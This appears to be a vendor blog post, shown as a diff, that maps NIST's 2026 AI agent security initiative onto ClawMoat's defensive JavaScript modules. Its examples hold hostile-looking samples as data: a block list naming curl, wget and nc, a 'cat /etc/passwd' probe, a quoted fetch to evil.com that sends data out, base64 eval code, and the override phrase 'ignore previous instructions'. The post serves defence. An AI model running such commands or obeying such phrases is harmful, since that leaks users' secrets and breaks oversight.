+ <p>On February 20, 2026, NIST's Center for AI Standards and Innovation (CAISI) <a href="https://www.nist.gov/news-events/news/2026/02/announcing-ai-agent-standards-initiative-interoperable-and-secure">launched the AI Agent Standards Initiative</a> — the U.S. government's first formal effort to standardize security for autonomous AI agents. The initiative includes an <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">RFI on AI Agent Security</a> (docket NIST-2025-0035, comments due March 9), a <a href="https://www.nccoe.nist.gov/projects/software-and-ai-agent-identity-and-authorization">draft concept paper on Agent Identity and Authorization</a> from NCCoE (due April 2), and upcoming listening sessions for healthcare, finance, and education.</p>
103
+
104
+ <p>This is a big deal. The federal government is saying: <strong>AI agents that take autonomous actions present unique security challenges</strong>, and we need standards for them.</p>
105
+
106
+ <p>We agree. That's why we've been shipping those standards as open-source code since January 2026.</p>
107
+
108
+ <p>Here's every security concern NIST raised — and the ClawMoat module that already addresses it.</p>
109
+
110
+ <hr>
111
+
112
+ <h2>1. Constraining Agent Access in Deployment Environments</h2>
113
+
114
+ <div class="nist-box">
115
+ <div class="label">📋 What NIST Says</div>
116
+ <p>The RFI asks about <em>"interventions in deployment environments to address security risks affecting AI agent systems, including methods to <strong>constrain and monitor the extent of agent access</strong> in the deployment environment."</em><br>— <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">NIST CAISI RFI, January 2026</a></p>
117
+ </div>
118
+
119
+ <div class="ships-box">
120
+ <div class="label">🏰 What ClawMoat Ships</div>
121
+ <p><strong>Host Guardian</strong> — four permission tiers that constrain what an AI agent can do on the host system, from full lockdown to controlled access.</p>
122
+ </div>
123
+
124
+ <pre><code>import { createHostGuardian } from 'clawmoat';
125
+
126
+ const guardian = createHostGuardian({
127
+ tier: 'restricted', // lockdown | restricted | standard | trusted
128
+ rules: {
129
+ filesystem: { writable: ['/tmp', './workspace'], blocked: ['~/.ssh', '~/.aws'] },
130
+ network: { allowedHosts: ['api.openai.com', 'github.com'] },
131
+ processes: { blocked: ['curl', 'wget', 'nc'] },
132
+ env: { redact: ['AWS_SECRET_ACCESS_KEY', 'DATABASE_URL'] }
133
+ }
134
+ });
135
+
136
+ // Every agent action passes through the guardian
137
+ const result = await guardian.evaluate({
138
+ action: 'exec',
139
+ command: 'cat /etc/passwd'
140
+ });
141
+ // → { allowed: false, reason: 'Path /etc/passwd outside permitted directories' }</code></pre>
142
+
143
+ <p>Four tiers from <code>lockdown</code> (zero external access) to <code>trusted</code> (full access with audit logging). Most deployments run <code>restricted</code> — the agent can read docs and call APIs, but can't touch SSH keys, spawn reverse shells, or exfiltrate environment variables.</p>
144
+
145
+ <h2>2. Tool Validation and Authorization</h2>
146
+
147
+ <div class="nist-box">
148
+ <div class="label">📋 What NIST Says</div>
149
+ <p>The NCCoE concept paper focuses on how to <em>"identify, manage, and authorize access and actions taken by software agents, including AI agents"</em> — specifically, controlling what tools agents can invoke and what those tools can do.<br>— <a href="https://www.nccoe.nist.gov/projects/software-and-ai-agent-identity-and-authorization">NCCoE Draft Concept Paper, February 2026</a></p>
150
+ </div>
151
+
152
+ <div class="ships-box">
153
+ <div class="label">🏰 What ClawMoat Ships</div>
154
+ <p><strong>McpFirewall</strong> — intercepts every MCP tool call with allowlisting, read-only enforcement, argument validation, and rate limiting.</p>
155
+ </div>
156
+
157
+ <pre><code>import { McpFirewall } from 'clawmoat';
158
+
159
+ const firewall = new McpFirewall({
160
+ tools: {
161
+ 'database_query': { mode: 'read-only', blocked: ['DROP', 'DELETE', 'TRUNCATE'] },
162
+ 'file_write': { allowed: false },
163
+ 'web_search': { rateLimit: { max: 10, windowMs: 60000 } },
164
+ 'send_email': { requireApproval: true }
165
+ },
166
+ defaultPolicy: 'deny' // Unknown tools are blocked by default
167
+ });
168
+
169
+ // Wraps any MCP server
170
+ const safeMcp = firewall.wrap(mcpServer);
171
+
172
+ // Agent tries: DELETE FROM users WHERE 1=1
173
+ // → Blocked: write operation matches pattern "DELETE" on read-only tool</code></pre>
174
+
175
+ <p>McpFirewall recognizes <strong>29 write-operation patterns</strong> across SQL, filesystem, and API calls. It can enforce read-only mode on database tools while allowing search tools — with per-tool rate limits to prevent data exfiltration through volume.</p>
176
+
177
+ <h2>3. Adversarial Data and Prompt Injection</h2>
178
+
179
+ <div class="nist-box">
180
+ <div class="label">📋 What NIST Says</div>
181
+ <p><em>"This includes risks from models interacting with adversarial data (such as in <strong>indirect prompt injection</strong>), risks from the use of insecure models (such as models that have been subject to data poisoning)."</em><br>— <a href="https://www.nist.gov/news-events/news/2026/01/caisi-issues-request-information-about-securing-ai-agent-systems">NIST CAISI RFI, January 2026</a></p>
182
+ </div>
183
+
184
+ <div class="ships-box">
185
+ <div class="label">🏰 What ClawMoat Ships</div>
186
+ <p><strong>Prompt Injection Scanner</strong> — pattern-based detection of injection attempts in tool outputs, user inputs, and retrieved documents before they reach the model.</p>
187
+ </div>
188
+
189
+ <pre><code>import { PromptInjectionScanner } from 'clawmoat';
190
+
191
+ const scanner = new PromptInjectionScanner();
192
+
193
+ // Scan tool output before feeding it back to the agent
194
+ const toolOutput = await mcpTool.call('web_scrape', { url: untrustedUrl });
195
+ const scan = scanner.scan(toolOutput);
196
+
197
+ if (scan.injectionDetected) {
198
+ console.log(scan.threats);
199
+ // → [{ type: 'instruction_override', pattern: 'ignore previous instructions',
200
+ // severity: 'critical', location: 'line 47' }]
201
+ // Quarantine or sanitize before passing to model
202
+ }</code></pre>
203
+
204
+ <p>The scanner detects role hijacking, instruction overrides, data exfiltration attempts, and encoding-based evasion. It runs in &lt;2ms per scan — fast enough to sit in the hot path of every tool call without latency impact.</p>
205
+
206
+ <h2>4. Data Protection and Sensitive Information</h2>
207
+
208
+ <div class="nist-box">
209
+ <div class="label">📋 What NIST Says</div>
210
+ <p>The Initiative highlights sector-specific concerns in <strong>healthcare, finance, and education</strong>, with listening sessions planned to identify barriers to secure AI adoption in these regulated industries.<br>— <a href="https://www.nist.gov/caisi/ai-agent-standards-initiative">NIST AI Agent Standards Initiative, February 2026</a></p>
211
+ </div>
212
+
213
+ <div class="ships-box">
214
+ <div class="label">🏰 What ClawMoat Ships</div>
215
+ <p><strong>Secret Scanner</strong> and <strong>FinanceGuard</strong> — field-level redaction of credentials, PII, and financial data before it leaves the agent's context.</p>
216
+ </div>
217
+
218
+ <pre><code>import { SecretScanner, FinanceGuard } from 'clawmoat';
219
+
220
+ // Secret Scanner: catches API keys, tokens, passwords in any text
221
+ const secrets = new SecretScanner();
222
+ const result = secrets.scan(agentOutput);
223
+ // → Detects: AWS keys, GitHub tokens, JWTs, database URLs, SSNs, credit cards
224
+
225
+ // FinanceGuard: specialized for financial data in agent workflows
226
+ const finance = new FinanceGuard({
227
+ redact: ['account_number', 'routing_number', 'ssn', 'credit_card'],
228
+ audit: true, // Log every redaction for SOX/PCI compliance
229
+ allowFields: ['transaction_date', 'amount', 'category']
230
+ });
231
+
232
+ const safeOutput = finance.process(agentResponse);
233
+ // "Transfer $5,000 from account 7834-2291-0054 routing 021000021"
234
+ // → "Transfer $5,000 from account [REDACTED] routing [REDACTED]"</code></pre>
235
+
236
+ <p>FinanceGuard generates <strong>SOX and PCI-DSS compliance reports</strong> automatically — every redaction is logged with timestamp, field type, and context. When NIST's listening sessions identify requirements for finance-sector AI agents, this is the kind of infrastructure they'll recommend.</p>
237
+
238
+ <h2>5. Supply Chain Security</h2>
239
+
240
+ <div class="nist-box">
241
+ <div class="label">📋 What NIST Says</div>
242
+ <p><em>"Risks from the use of insecure models (such as models that have been subject to <strong>data poisoning</strong>)"</em> — and more broadly, the NIST AI RMF (AI 600-1) GenAI Profile identifies supply chain integrity as a core risk management action area, with <strong>200+ suggested actions</strong>.<br>— <a href="https://airc.nist.gov/technical-reports/">NIST AI 600-1 GenAI Profile</a></p>
243
+ </div>
244
+
245
+ <div class="ships-box">
246
+ <div class="label">🏰 What ClawMoat Ships</div>
247
+ <p><strong>Skill Integrity Checker</strong> — hash verification and behavioral analysis of AI agent skills/plugins before installation.</p>
248
+ </div>
249
+
250
+ <pre><code>import { SkillIntegrityChecker } from 'clawmoat';
251
+
252
+ const checker = new SkillIntegrityChecker();
253
+
254
+ const audit = await checker.scan('./skills/untrusted-plugin/');
255
+ // Checks for 14 suspicious patterns:
256
+ // - Obfuscated code (base64 decode, eval, Function constructor)
257
+ // - Network exfiltration (fetch to unknown hosts, DNS tunneling)
258
+ // - File system access outside workspace
259
+ // - Environment variable harvesting
260
+ // - Cryptocurrency mining signatures
261
+ // - Hidden process spawning
262
+ // - Permission escalation attempts
263
+
264
+ console.log(audit);
265
+ // → { safe: false, threats: 3, details: [
266
+ // { pattern: 'env_harvesting', file: 'index.js', line: 42,
267
+ // code: 'Object.entries(process.env).forEach(...)' },
268
+ // { pattern: 'network_exfil', file: 'utils.js', line: 17,
269
+ // code: 'fetch("https://evil.com/collect", { body: data })' },
270
+ // { pattern: 'obfuscated_code', file: 'helper.js', line: 3,
271
+ // code: 'eval(Buffer.from("...", "base64").toString())' }
272
+ // ]}</code></pre>
273
+
274
+ <p>We've already used this to audit the OpenClaw skill ecosystem and found <a href="/blog/386-malicious-skills.html">386 malicious skills</a> with patterns ranging from credential theft to cryptocurrency mining. The scanner catches what <code>npm audit</code> misses because it analyzes <em>behavior</em>, not just known CVEs.</p>
275
+
276
+ <h2>6. Monitoring and Audit Trails</h2>
277
+
278
+ <div class="nist-box">
279
+ <div class="label">📋 What NIST Says</div>
280
+ <p>The Initiative's three strategic pillars include <em>"advancing research in areas of AI agent <strong>security and identity</strong> to enable new use cases and to promote <strong>trusted adoption</strong> across sectors."</em> The RFI specifically asks about <em>"methods for <strong>measuring the security</strong> of AI agent systems."</em><br>— <a href="https://www.nist.gov/caisi/ai-agent-standards-initiative">NIST AI Agent Standards Initiative, February 2026</a></p>
281
+ </div>
282
+
283
+ <div class="ships-box">
284
+ <div class="label">🏰 What ClawMoat Ships</div>
285
+ <p><strong>Network Egress Logger</strong> and full audit trail with compliance report generation.</p>
286
+ </div>
287
+
288
+ <pre><code>import { NetworkEgressLogger, ComplianceReporter } from 'clawmoat';
289
+
290
+ // Log every outbound connection the agent makes
291
+ const egress = new NetworkEgressLogger({
292
+ logFile: './audit/network-egress.jsonl',
293
+ alertOn: { unknownHosts: true, highVolume: true, unusualPorts: true }
294
+ });
295
+
296
+ // Generate compliance reports
297
+ const reporter = new ComplianceReporter({
298
+ framework: 'SOX', // or 'PCI-DSS', 'HIPAA'
299
+ period: 'monthly',
300
+ include: ['tool_calls', 'data_access', 'redactions', 'blocked_actions']
301
+ });
302
+
303
+ const report = await reporter.generate();
304
+ // → Structured report: 4,291 tool calls, 847 redactions,
305
+ // 23 blocked actions, 0 data exfiltration attempts
306
+ // Exportable as PDF, JSON, or CSV</code></pre>
307
+
308
+ <p>Every ClawMoat module writes to a unified audit log. When a regulator asks "what did your AI agent do with customer data last Tuesday?" — you have the answer in milliseconds, not weeks.</p>
309
+
310
+ <hr>
311
+
312
+ <h2>The Full Mapping</h2>
313
+
314
+ <table>
315
+ <thead>
316
+ <tr><th>NIST Concern</th><th>Document</th><th>ClawMoat Module</th><th>Status</th></tr>
317
+ </thead>
318
+ <tbody>
319
+ <tr><td>Constrain agent access</td><td>CAISI RFI</td><td>Host Guardian (4 tiers)</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
320
+ <tr><td>Tool authorization</td><td>NCCoE Concept Paper</td><td>McpFirewall</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
321
+ <tr><td>Prompt injection</td><td>CAISI RFI</td><td>Prompt Injection Scanner</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
322
+ <tr><td>Data protection (PII/financial)</td><td>Listening Sessions</td><td>Secret Scanner + FinanceGuard</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
323
+ <tr><td>Supply chain integrity</td><td>AI 600-1 / RFI</td><td>Skill Integrity Checker</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
324
+ <tr><td>Security measurement</td><td>CAISI RFI</td><td>Network Egress Logger + Audit</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
325
+ <tr><td>Agent identity</td><td>NCCoE Concept Paper</td><td>Audit trail per-agent</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
326
+ <tr><td>Sector-specific (finance)</td><td>Listening Sessions</td><td>FinanceGuard + SOX/PCI reports</td><td style="color:var(--emerald)">✅ Shipping</td></tr>
327
+ </tbody>
328
+ </table>
329
+
330
+ <h2>What This Means</h2>
331
+
332
+ <p>NIST is doing the right thing. AI agents that can <em>"work autonomously for hours, write and debug code, manage emails and calendars, and shop for goods"</em> (their words) need security standards. The RFI, the NCCoE concept paper, the listening sessions — this is how good policy gets made.</p>
333
+
334
+ <p>But standards take time. The RFI closes March 9. The concept paper comments close April 2. Guidelines will follow months or years later. Meanwhile, agents are running in production <em>right now</em>, handling real data, making real API calls, accessing real systems.</p>
335
+
336
+ <p><strong>We're not waiting for the standards. We're shipping them.</strong></p>
337
+
338
+ <p>ClawMoat is open-source, MIT-licensed, and works with any AI agent framework. Every module described above is in npm today. If NIST's final guidelines recommend something we haven't built yet, we'll build it. If they recommend something better than what we have, we'll adopt it.</p>
339
+
340
+ <p>But we're not going to leave agents unprotected while the comment period runs.</p>
341
+
342
+ <div class="cta">
343
+ <h3>Start Securing Your Agents Today</h3>
344
+ <p>Every NIST recommendation above is available as a single npm install.</p>
345
+ <pre><code>npm install clawmoat</code></pre>
346
+ <p style="margin-top:16px">
347
+ <a href="https://github.com/darfaz/clawmoat" style="color:var(--white);background:var(--blue);padding:10px 24px;border-radius:8px;font-weight:600;display:inline-block;margin:4px">⭐ Star on GitHub</a>
348
+ <a href="/scan/" style="color:var(--white);background:var(--emerald);padding:10px 24px;border-radius:8px;font-weight:600;display:inline-block;margin:4px">🔍 Free Security Scan</a>
349
+ </p>
350
+ </div>
351
+
352
+ <div class="tags">
353
+ <span class="tag">NIST</span>
354
+ <span class="tag">CAISI</span>
355
+ <span class="tag">AI-agent-security</span>
356
+ <span class="tag">standards</span>
357
+ <span class="tag">compliance</span>
358
+ <span class="tag">least-privilege</span>
359
+ </div>
360
+
361
+ </article>
362
+ </div>
363
+
364
+ <footer>
365
+ <div class="container">
366
+ <div style="display:flex;gap:24px;justify-content:center;flex-wrap:wrap;margin-bottom:16px">
367
+ <a href="https://github.com/darfaz/clawmoat" style="color:var(--gray)">GitHub</a>
368
+ <a href="https://www.npmjs.com/package/clawmoat" style="color:var(--gray)">npm</a>
369
+ <a href="/blog/" style="color:var(--gray)">Blog</a>
370
+ <a href="mailto:hello@clawmoat.com" style="color:var(--gray)">hello@clawmoat.com</a>
371
+ </div>
372
+ <p style="text-align:center;color:var(--gray);font-size:.85rem">© 2026 ClawMoat</p>
373
+ </div>
374
+ </footer>
375
+
376
+ </body>
377
+ </html>